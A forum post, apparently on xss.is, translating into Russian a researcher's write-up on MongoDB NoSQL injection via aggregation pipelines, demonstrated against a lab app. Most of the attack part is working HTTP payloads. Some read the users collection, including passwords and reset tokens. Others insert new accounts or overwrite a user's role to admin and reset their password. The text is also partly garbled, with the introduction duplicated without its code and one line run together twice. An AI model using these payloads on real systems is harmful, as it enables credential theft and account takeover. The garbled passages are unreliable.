D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Источник: https://soroush.me/blog/2024/06/mongodb-nosql-injection-with-aggregation-pipelines/
Перевёл: BLUA специально для xss.is
История
Прошлым августом (2023), помогая с лабораторным модулем по NoSQL для PortSwigger Web Academy, я обнаружил, что в редких случаях возможно получить доступ к другим коллекциям при выполнении инъекционной атаки в MongoDB. Это не было включено в учебные материалы из-за редкости такого явления и казалось более подходящим для темы исследования. Хотя с тех пор я был занят и не имел возможности изучить это дальше, я считаю, что публикация моих выводов всё ещё может быть полезна для некоторых исследователей в области безопасности.
Предыстория
Если вы не знакомы с атаками с использованием NoSQL-инъекций, рекомендую изучить этот материал через Web Academy от PortSwigger (https://portswigger.net/web-security/nosql-injection), чтобы лучше понять тему.
Вот краткое введение в проблему, с которой мы сталкиваемся:
Когда происходит NoSQL-инъекция в MongoDB, данные, к которым пользователь может получить доступ, зависят от местоположения уязвимости и того, какая коллекция используется. Для тех, кто знаком с традиционными SQL-базами данных, представьте, что «коллекции» в MongoDB — это «таблицы», а «документы» — это «строки». Если инъекция происходит в методе «find», доступ к данным ограничен определённой коллекцией, которая может не содержать чувствительной информации. Именно поэтому некоторые клиенты могут не считать атаку с использованием NoSQL-инъекции в MongoDB ценной.
Этот пост рассматривает сценарий, в котором функция «aggregate» в MongoDB подвержена уязвимости для атак с использованием NoSQL-инъекций, увеличивая воздействие за счет возможности:
- Чтение данных из других коллекций
- Добавление данных
- Обновление данных
Подробности
Тестовый случай был создан для практики этого в виртуальной машине, доступной по адресуhttps://github.com/irsdl/vulnerable-node-app/. Это модифицированная версия репозитория Чарли Бельмера для попытки различных случаев атак NoSQL-инъекций.
Представьте атаку NoSQL-инъекции, где пользователи не могут управлять именем коллекции через параметры ввода, но могут управлять агрегатом. Вот пример уязвимого кода на Node.js:
Код: Скопировать в буфер обмена
Следующий HTTP-запрос и его ответ в формате JSON показывают пример:
Код: Скопировать в буфер обмена
Тело ответа:
Код: Скопировать в буфер обмена
В этом случае уязвимость возникает в коллекции "products". Поэтому следующий запрос, возвращающий все поля, не принесёт большой ценности:
Код: Скопировать в буфер обмена
Тело ответа:
Код: Скопировать в буфер обмена
Как определить, является ли это агрегатом при тестировании "чёрного ящика"?
В MongoDB метод
Трюки для NoSQL-инъекции в агрегатах
Вот несколько трюков, которые можно использовать при работе с NoSQL-инъекциями в агрегатах. ChatGPT оказал большую помощь в объяснении этих примеров во время моего тестирования!
A) Чтение данных из других коллекций
A.1) Использование $lookup с фиктивным полем:
Можно использовать "$lookup" для доступа к другим коллекциям. Следующий HTTP-запрос показывает, как можно получить доступ к коллекции "users" с его помощью:
Код: Скопировать в буфер обмена
Здесь "lookup"выполняетлевоевнешнеесоединениесдругойколлекцией,а"lookup"выполняетлевоевнешнеесоединениесдругойколлекцией,а"limit" ограничивает количество документов. Ограничение было использовано, чтобы избежать повторения всех пользователей для каждого продукта. Мы хотим получить каждого пользователя только один раз!
Ответом была следующая часть тела запроса:
Код: Скопировать в буфер обмена
Если фиктивные поля не являются идеальным решением, мы можем использовать поле
A.2) Использование объединения
"$unionWith" объединяет результаты отдельных запросов в один массив, аналогично "union all" в традиционной базе данных SQL. Мы можем использовать его для получения данных пользователей следующим образом:
Код: Скопировать в буфер обмена
“$match” использовался с фиктивными данными, так как нас не интересует просмотр полей продуктов!
Если использование фиктивных данных не является идеальным, вместо этого можно использовать следующее:
Код: Скопировать в буфер обмена
B) Добавление/Вставка данных
Инъекция через агрегаты также может использоваться для создания новых документов или коллекций, а также для перезаписи существующих. Однако тестировщикам все равно придется угадывать схему данных и некоторые из их значений перед добавлением данных.
Следующий HTTP-запрос показывает пример того, как можно добавить нового пользователя в базу данных:
Код: Скопировать в буфер обмена
Это можно проверить, получив список пользователей из коллекции пользователей.
Примечание: Убедитесь, что используется ограничение, как показано выше, чтобы предотвратить добавление нескольких документов в базу данных!
C) Обновление данных
Метод aggregate в MongoDB также позволяет изменять данные в разных коллекциях.
Чтобы изменить данные с помощью «$replaceWith», необходима поле
Код: Скопировать в буфер обмена
Поле
Код: Скопировать в буфер обмена
Однако, если у нас нет поля
Код: Скопировать в буфер обмена
Этот подход использует «$unionWith» для включения документов из коллекции «users», находит конкретный документ пользователя по имени пользователя, обновляет поля и, наконец, объединяет обновленный документ обратно в коллекцию users. Важно отметить, что если будут найдены несколько полей, они все будут обновлены, что может привести к повреждению данных. Поэтому следует избегать использования регулярных выражений или правила сопоставления, которое может выбрать более одного документа в коллекции.
Некоторые мысли для дальнейшего исследования
Я не нашел способа удалить документ из коллекции, используя агрегатные функции. Было бы интересно, если бы кто-то смог выяснить, как удалить Карлоса!
В рамках MongoDB Aggregation Framework операторы "function" и "function" и "accumulator" могут запускать JavaScript, что может быть полезным в некоторых случаях.
Многие другие методы MongoDB могут быть случайно раскрыты и затем использованы в атаках с использованием NoSQL-инъекций. Например, я не встречал много исследований по таким методам, как "updateMany" или "updateOne" (NoSQL-инъекции при обновлении документов). Было бы интересно узнать, что происходит, когда эти методы раскрываются, и как их можно использовать для увеличения воздействия.
Перевёл: BLUA специально для xss.is
История
Прошлым августом (2023), помогая с лабораторным модулем по NoSQL для PortSwigger Web Academy, я обнаружил, что в редких случаях возможно получить доступ к другим коллекциям при выполнении инъекционной атаки в MongoDB. Это не было включено в учебные материалы из-за редкости такого явления и казалось более подходящим для темы исследования. Хотя с тех пор я был занят и не имел возможности изучить это дальше, я считаю, что публикация моих выводов всё ещё может быть полезна для некоторых исследователей в области безопасности.
Предыстория
Если вы не знакомы с атаками с использованием NoSQL-инъекций, рекомендую изучить этот материал через Web Academy от PortSwigger (https://portswigger.net/web-security/nosql-injection), чтобы лучше понять тему.
Вот краткое введение в проблему, с которой мы сталкиваемся:
Когда происходит NoSQL-инъекция в MongoDB, данные, к которым пользователь может получить доступ, зависят от местоположения уязвимости и того, какая коллекция используется. Для тех, кто знаком с традиционными SQL-базами данных, представьте, что «коллекции» в MongoDB — это «таблицы», а «документы» — это «строки». Если инъекция происходит в методе «find», доступ к данным ограничен определённой коллекцией, которая может не содержать чувствительной информации. Именно поэтому некоторые клиенты могут не считать атаку с использованием NoSQL-инъекции в MongoDB ценной.
Этот пост рассматривает сценарий, в котором функция «aggregate» в MongoDB подвержена уязвимости для атак с использованием NoSQL-инъекций, увеличивая воздействие за счет возможности:
- Чтение данных из других коллекций
- Добавление данных
- Обновление данных
Подробности
Тестовый случай был создан для практики этого в виртуальной машине, доступной по адресуhttps://github.com/irsdl/vulnerable-node-app/. Это модифицированная версия репозитория Чарли Бельмера для попытки различных случаев атак NoSQL-инъекций.
Представьте атаку NoSQL-инъекции, где пользователи не могут управлять именем коллекции через параметры ввода, но могут управлять агрегатом. Вот пример уязвимого кода на Node.js:
Код: Скопировать в буфер обмена
Код:
productRoutes.route('/lookup_agg').post(function(req, res) {
let query = req.body;
if (typeof query !== 'undefined' && Object.keys(query).length > 0) {
console.log("request " + JSON.stringify(query));
console.log("MongoDB query: " + JSON.stringify(query));
Product.aggregate(query)
.then(products => {
console.log("Data Retrieved: " + products);
res.json({products});
})
.catch(err => {
console.log(err);
res.json(err);
});
} else {
res.json({});
}
});
Следующий HTTP-запрос и его ответ в формате JSON показывают пример:
Код: Скопировать в буфер обмена
Код:
POST /product/lookup_agg HTTP/1.1
Host: vulnerable.lab:4000
Content-Type: application/json
Content-Length: 53
[
{
"$match": {"name": "Apple Juice"}
}
]
Тело ответа:
Код: Скопировать в буфер обмена
{"products":[{"_id":"66773d7c85bf15c9d920fe9d","name":"Apple Juice","category":"soft","released":true,"quantity":"30","__v":0}]}
В этом случае уязвимость возникает в коллекции "products". Поэтому следующий запрос, возвращающий все поля, не принесёт большой ценности:
Код: Скопировать в буфер обмена
Код:
POST /product/lookup_agg HTTP/1.1
Host: vulnerable.lab:4000
Content-Type: application/json
Content-Length: 32
[
{
"$match": {}
}
]
Тело ответа:
Код: Скопировать в буфер обмена
{"products":[{"_id":"66773d7c85bf15c9d920fe9d","name":"Apple Juice","category":"soft","released":true,"quantity":"30","__v":0},{"_id":"66773d7c85bf15c9d920fe9e","name":"Orange Juice","category":"soft","released":true,"quantity":"100","__v":0},{"_id":"66773d7c85bf15c9d920fe9f","name":"Coke","category":"fizzy","released":true,"quantity":"50","__v":0},{"_id":"66773d7c85bf15c9d920fea0","name":"Golden Bear","category":"alcohol","released":false,"quantity":"1","__v":0}]}
Как определить, является ли это агрегатом при тестировании "чёрного ящика"?
В MongoDB метод
aggregate
всегда ожидает массив стадий агрегации в качестве своего первого аргумента. Поэтому обратите внимание на массивы JSON в качестве параметра. Операторы $match
и $lookup
в JSON-запросе также могут указывать на использование метода aggregate
.Трюки для NoSQL-инъекции в агрегатах
Вот несколько трюков, которые можно использовать при работе с NoSQL-инъекциями в агрегатах. ChatGPT оказал большую помощь в объяснении этих примеров во время моего тестирования!
A) Чтение данных из других коллекций
A.1) Использование $lookup с фиктивным полем:
Можно использовать "$lookup" для доступа к другим коллекциям. Следующий HTTP-запрос показывает, как можно получить доступ к коллекции "users" с его помощью:
Код: Скопировать в буфер обмена
Код:
POST /product/lookup_agg HTTP/1.1
Host: vulnerable.lab:4000
Content-Type: application/json
Content-Length: 200
[
{
"$lookup": {
"from": "users",
"localField": "Dummy-IdontExist",
"foreignField": "Dummy-IdontExist",
"as": "user_docs"
}
},
{
"$limit": 1
}
]
Здесь "lookup"выполняетлевоевнешнеесоединениесдругойколлекцией,а"lookup"выполняетлевоевнешнеесоединениесдругойколлекцией,а"limit" ограничивает количество документов. Ограничение было использовано, чтобы избежать повторения всех пользователей для каждого продукта. Мы хотим получить каждого пользователя только один раз!
Ответом была следующая часть тела запроса:
Код: Скопировать в буфер обмена
{"products":[{"_id":"66773d7c85bf15c9d920fe9d","name":"Apple Juice","category":"soft","released":true,"quantity":"30","__v":0,"user_docs":[{"_id":"66773d7c85bf15c9d920fe95","username":"guest","first_name":"","last_name":"","email":"guest@nullsweep.com","role":"guest","password":"password","locked":false,"resetPasswordToken":"","__v":0},…,{"_id":"66773d7c85bf15c9d920fe97","username":"carlos","first_name":"Scary","last_name":"Ghost","email":"ghost@mailinator.com","role":"user","password":"abc123","locked":true,"resetPasswordToken":"iioldsgiaioaiejiejirj0ifgsi","__v":0}]}]}
Если фиктивные поля не являются идеальным решением, мы можем использовать поле
__v
, которое автоматически создается Mongoose, библиотекой для объектного моделирования данных (ODM) для MongoDB и Node.js. Это поле используется для хранения версии документа для внутренних целей, в частности, для обработки обновлений документов и предотвращения одновременных изменений.A.2) Использование объединения
"$unionWith" объединяет результаты отдельных запросов в один массив, аналогично "union all" в традиционной базе данных SQL. Мы можем использовать его для получения данных пользователей следующим образом:
Код: Скопировать в буфер обмена
Код:
POST /product/lookup_agg HTTP/1.1
Host: vulnerable.lab:4000
Content-Type: application/json
Content-Length: 229
[{
"$match": {"foo":"bar"}
},
{
"$unionWith": {
"coll": "users",
"pipeline": [
{
"$addFields": {
"collection": "users"
}
}
]
}
}
]
Если использование фиктивных данных не является идеальным, вместо этого можно использовать следующее:
Код: Скопировать в буфер обмена
Код:
{
"$match":{"_id":{"$exists":false}}
}
B) Добавление/Вставка данных
Инъекция через агрегаты также может использоваться для создания новых документов или коллекций, а также для перезаписи существующих. Однако тестировщикам все равно придется угадывать схему данных и некоторые из их значений перед добавлением данных.
Следующий HTTP-запрос показывает пример того, как можно добавить нового пользователя в базу данных:
Код: Скопировать в буфер обмена
Код:
POST /product/lookup_agg HTTP/1.1
Host: vulnerable.lab:4000
Content-Type: application/json
Content-Length: 434
[
{
"$limit": 1
},
{
"$replaceWith": {
"username": "newUser",
"first_name": "New",
"last_name": "User",
"email": "newuser@example.com",
"role": "user",
"password": "password123",
"locked": false,
"resetPasswordToken": ""
}
},
{
"$merge": {
"into": "users",
"whenMatched": "merge",
"whenNotMatched": "insert"
}
}
]
Примечание: Убедитесь, что используется ограничение, как показано выше, чтобы предотвратить добавление нескольких документов в базу данных!
C) Обновление данных
Метод aggregate в MongoDB также позволяет изменять данные в разных коллекциях.
Чтобы изменить данные с помощью «$replaceWith», необходима поле
_id
целевого документа. Следующий HTTP-запрос показывает, как можно изменить данные пользователя в разработанной лабораторной работе:Код: Скопировать в буфер обмена
Код:
POST /product/lookup_agg HTTP/1.1
Host: vulnerable.lab:4000
Content-Type: application/json
Content-Length: 379
[
{
"$limit": 1
},
{
"$replaceWith": {
"_id": { "$toObjectId": "66773d7c85bf15c9d920fe97" },
"role":"admin",
"password": "NewPassword123?",
"locked": false,
"resetPasswordToken": "1234567890"
}
},
{
"$merge": {
"into": "users",
"whenMatched": "merge",
"whenNotMatched": "fail"
}
}
]
Поле
_id
можно получить, отправив следующий JSON-запрос:Код: Скопировать в буфер обмена
Код:
[
{
"$unionWith": {
"coll": "users"
}
},
{
"$match": { "username": "carlos" }
},
{
"$project": {
"_id": 1
}
}
]
Однако, если у нас нет поля
_id
, изменение все же возможно, используя следующий HTTP-запрос в качестве примера:Код: Скопировать в буфер обмена
Код:
POST /product/lookup_agg HTTP/1.1
Host: vulnerable.lab:4000
Content-Type: application/json
Content-Length: 421
[
{
"$unionWith": {
"coll": "users"
}
},
{
"$match": { "username": "carlos" }
},
{
"$set": {
"role": "admin",
"password": "NewPassword123! ",
"locked": false,
"resetPasswordToken": "1234567890"
}
},
{
"$merge": {
"into": "users",
"on": "_id",
"whenMatched": "merge",
"whenNotMatched": "fail"
}
}
]
Этот подход использует «$unionWith» для включения документов из коллекции «users», находит конкретный документ пользователя по имени пользователя, обновляет поля и, наконец, объединяет обновленный документ обратно в коллекцию users. Важно отметить, что если будут найдены несколько полей, они все будут обновлены, что может привести к повреждению данных. Поэтому следует избегать использования регулярных выражений или правила сопоставления, которое может выбрать более одного документа в коллекции.
Некоторые мысли для дальнейшего исследования
Я не нашел способа удалить документ из коллекции, используя агрегатные функции. Было бы интересно, если бы кто-то смог выяснить, как удалить Карлоса!
В рамках MongoDB Aggregation Framework операторы "function" и "function" и "accumulator" могут запускать JavaScript, что может быть полезным в некоторых случаях.
Многие другие методы MongoDB могут быть случайно раскрыты и затем использованы в атаках с использованием NoSQL-инъекций. Например, я не встречал много исследований по таким методам, как "updateMany" или "updateOne" (NoSQL-инъекции при обновлении документов). Было бы интересно узнать, что происходит, когда эти методы раскрываются, и как их можно использовать для увеличения воздействия.
View hidden content is available for registered users!